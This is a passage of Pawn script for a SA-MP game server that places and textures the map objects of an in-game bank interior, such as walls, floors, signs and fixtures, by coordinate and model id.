        AG_Bank[43] = CreateDynamicObject(19425, 1401.90002, 1321.23425, 1500.78015,   180.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[36], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[37], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[38], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[39], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[40], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[41], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[42], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank[43], 0, 10226, "sfeship1", "CJ_WOOD5", 0);

        AG_Bank[44] = CreateDynamicObject(2293, 1409.84692, 1311.45801, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[45] = CreateDynamicObject(2293, 1408.89392, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[46] = CreateDynamicObject(2293, 1407.94177, 1311.46570, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[47] = CreateDynamicObject(2293, 1407.02795, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[48] = CreateDynamicObject(2293, 1405.16199, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[49] = CreateDynamicObject(2293, 1404.22900, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[50] = CreateDynamicObject(2293, 1403.29602, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[51] = CreateDynamicObject(2293, 1402.36304, 1311.45886, 1500.07825,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[44], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[45], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[46], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[47], 0,  10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[48], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[49], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[50], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFF404040);
        SetDynamicObjectMaterial( AG_Bank[51], 0, 10948, "skyscrapper_sfs", "ws_asphalt", 0xFFBCE4FA);
        SetDynamicObjectMaterial( AG_Bank[44], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[45], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[46], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[47], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[48], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[49], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[50], 1,  8843, "vegasarrows", "dirtywhite", 0);
        SetDynamicObjectMaterial( AG_Bank[51], 1,  8843, "vegasarrows", "dirtywhite", 0);

        AG_Bank[52] = CreateDynamicObject(19448, 1407.80005, 1323.94739, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[53] = CreateDynamicObject(19448, 1402.52002, 1323.95020, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[54] = CreateDynamicObject(19448, 1397.64343, 1328.59155, 1501.79858,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[55] = CreateDynamicObject(19448, 1398.53809, 1308.12610, 1501.79858,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[56] = CreateDynamicObject(19448, 1403.24109, 1310.53662, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[57] = CreateDynamicObject(19448, 1407.80005, 1310.53748, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[58] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[78] = CreateDynamicObject(19448, 1393.80994, 1312.85864, 1498.30054,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[79] = CreateDynamicObject(19448, 1388.89221, 1316.27661, 1498.30054,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);//
        AG_Bank[80] = CreateDynamicObject(19448, 1391.91467, 1320.62366, 1498.30054,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);//
        AG_Bank[81] = CreateDynamicObject(19448, 1396.64331, 1315.87585, 1498.30054,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[82] = CreateDynamicObject(19448, 1390.51587, 1319.00146, 1498.30054,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[83] = CreateDynamicObject(19448, 1393.65063, 1329.45300, 1501.79858,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[84] = CreateDynamicObject(19448, 1391.81213, 1325.20935, 1501.79858,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);//
        AG_Bank[85] = CreateDynamicObject(19448, 1391.81396, 1320.61072, 1501.79858,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);//
        AG_Bank[97] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[52], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[53], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[54], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[55], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[56], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[57], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[58], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[97], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[78], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[79], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[80], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[81], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[82], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[83], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[84], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[85], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank[59] = CreateDynamicObject(2920, 1412.61023, 1324.49341, 1500.19775,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[60] = CreateDynamicObject(2920, 1412.61255, 1307.20703, 1500.19775,   90.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[61] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.42859,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[62] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.42859,   90.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[63] = CreateDynamicObject(2920, 1412.60815, 1323.75586, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[64] = CreateDynamicObject(2920, 1412.60925, 1317.56165, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[65] = CreateDynamicObject(2920, 1412.60803, 1314.16638, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[66] = CreateDynamicObject(2920, 1412.60815, 1310.75793, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[67] = CreateDynamicObject(2920, 1412.60974, 1320.70361, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[68] = CreateDynamicObject(2920, 1412.60730, 1315.83655, 1509.61548,   0.00000, 180.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[69] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.60596,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[70] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.58203,   0.00000, -90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[71] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.70142,   0.00000, -90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[72] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.72583,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[73] = CreateDynamicObject(2920, 1412.60803, 1313.94995, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[74] = CreateDynamicObject(2920, 1412.60925, 1317.80005, 1496.23474,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[86] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.6766,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[87] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.9246,   90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[88] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.6766,   90.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[89] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.9246,   90.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[59], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[60], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[61], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[62], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[63], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[64], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[65], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[66], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[67], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[68], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[69], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[70], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[71], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[72], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[73], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[74], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[86], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[87], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[88], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[89], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        CreateDynamicObject(4649, 1437.77979, 1282.13147, 1498.38147,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4650, 1499.84375, 1339.13135, 1497.04419,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4651, 1489.83142, 1396.67981, 1496.91479,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1469.79443, 1309.09814, 1586.63599,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4568, 1499.17395, 1386.75208, 1496.50269,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4690, 1490.08435, 1374.56055, 1506.36865,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(700, 1455.23425, 1354.28186, 1499.46777,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4681, 1604.73755, 1346.70850, 1506.94385,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4571, 1535.18909, 1378.84387, 1544.81921,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4584, 1499.29883, 1277.14868, 1494.11914,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4569, 1490.61377, 1260.33313, 1515.10461,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4703, 1444.05493, 1426.24866, 1497.17859,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4666, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4665, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4664, 1530.43140, 1498.77100, 1515.34094,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4595, 1517.97668, 1490.37646, 1497.11572,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1294, 1440.57166, 1309.86755, 1501.40869,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1283, 1446.12048, 1337.79199, 1499.97302,   0.00000, 0.00000, -90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(1283, 1435.69678, 1346.69800, 1499.97302,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(729, 1480.63184, 1438.66370, 1496.86194,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(729, 1457.53821, 1422.30310, 1496.86194,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(729, 1520.04944, 1447.82092, 1496.86194,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(762, 1508.08984, 1447.84460, 1502.16406,   0.00000, 0.00000, 71.27999);
        CreateDynamicObject(4718, 1538.13550, 1591.90503, 1517.18408,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1390.00232, 1372.76270, 1550.00000,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1347.87378, 1336.75903, 1550.00000,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1345.14465, 1307.01538, 1550.00000,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1388.88855, 1277.29407, 1550.00000,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        CreateDynamicObject(4585, 1384.67175, 1336.22705, 1524.32104,   0.00000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[147] = CreateDynamicObject(4600, 1392.54540, 1309.93079, 1508.62451,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[147], 1,  -1, "none", "none", 0x00FFFFFF);

        AG_Bank[99] = CreateDynamicObject(19379, 1403.84119, 1308.13196, 1503.62134,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[100] = CreateDynamicObject(19379, 1407.38867, 1308.13257, 1503.61926,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[101] = CreateDynamicObject(19379, 1402.98401, 1324.68579, 1503.62134,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[102] = CreateDynamicObject(19379, 1407.38867, 1324.68384, 1503.61926,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[93] = CreateDynamicObject(19380, 1398.63257, 1315.99915, 1508.82312,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[94] = CreateDynamicObject(19379, 1393.46899, 1313.85913, 1503.62329,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[95] = CreateDynamicObject(19379, 1393.46887, 1320.57825, 1503.62366,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[96] = CreateDynamicObject(19379, 1393.50305, 1329.78992, 1503.62170,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[98] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[130] = CreateDynamicObject(19377, 1386.65002, 1314.90857, 1500.00903,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[99], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[100], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[101], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[102], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[93], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[94], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[95], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[96], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank[98], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[130], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank[103] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1501.05896,   0.00000, 0.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[104] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1501.05896,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[105] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1501.05896,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[106] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1501.05896,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[107] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1503.50061,   0.00000, 0.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[90] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1503.50061,   0.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[91] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1503.50061,   0.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[92] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1503.50061,   0.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[103], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[104], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[105], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[106], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[107], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[90], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[91], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[92], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[103], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[104], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[105], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[106], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[107], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[90], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[91], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[92], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[103], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[104], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[105], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[106], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[107], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[90], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[91], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[92], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[103], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[104], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[105], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[106], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[107], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[90], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[91], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank[92], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank[108] = CreateDynamicObject(19380, 1407.38867, 1315.89441, 1504.02197,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[109] = CreateDynamicObject(19380, 1403.80127, 1316.00769, 1504.02002,   0.00000, 90.00000, 0.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[108], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank[109], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        AG_Bank[154] = CreateDynamicObject(19448, 1395.68018, 1314.03955, 1502.72510,   -34.50000, 90.00000, 90.00000, 25, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank[154], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);


        AG_Bank[110] = CreateDynamicObject(2229, 1405.19800, 1316.35486, 1503.14160,   -60.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[111] = CreateDynamicObject(2229, 1405.15405, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[112] = CreateDynamicObject(2229, 1403.80005, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[113] = CreateDynamicObject(2229, 1402.40002, 1316.35486, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[114] = CreateDynamicObject(2229, 1401.00000, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[115] = CreateDynamicObject(2229, 1399.94995, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[116] = CreateDynamicObject(2229, 1405.66931, 1315.75842, 1503.14160,   -60.00000, 0.00000, -90.00000, 25, 63, -1, 200.00);
        AG_Bank[117] = CreateDynamicObject(2229, 1407.18372, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[118] = CreateDynamicObject(2229, 1408.55005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[119] = CreateDynamicObject(2229, 1409.90002, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[120] = CreateDynamicObject(2229, 1411.30005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[121] = CreateDynamicObject(2229, 1412.69995, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 25, 63, -1, 200.00);
        AG_Bank[122] = CreateDynamicObject(2229, 1405.74805, 1316.31458, 1503.14160,   -60.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[123] = CreateDynamicObject(2229, 1405.74927, 1316.39087, 1503.64795,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[124] = CreateDynamicObject(2229, 1405.74731, 1317.75000, 1503.64587,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[125] = CreateDynamicObject(2229, 1405.74927, 1319.00000, 1503.64795,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[126] = CreateDynamicObject(2229, 1405.13440, 1315.78467, 1503.14160,   -60.00000, 0.00000, 180.00000, 25, 63, -1, 200.00);
        AG_Bank[127] = CreateDynamicObject(2229, 1405.74854, 1314.36304, 1503.64795,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
        AG_Bank[128] = CreateDynamicObject(2229, 1405.74890, 1313.04346, 1503.64587,   -90.00000, 0.00000, 0.00000, 25, 63, -1, 200.00);
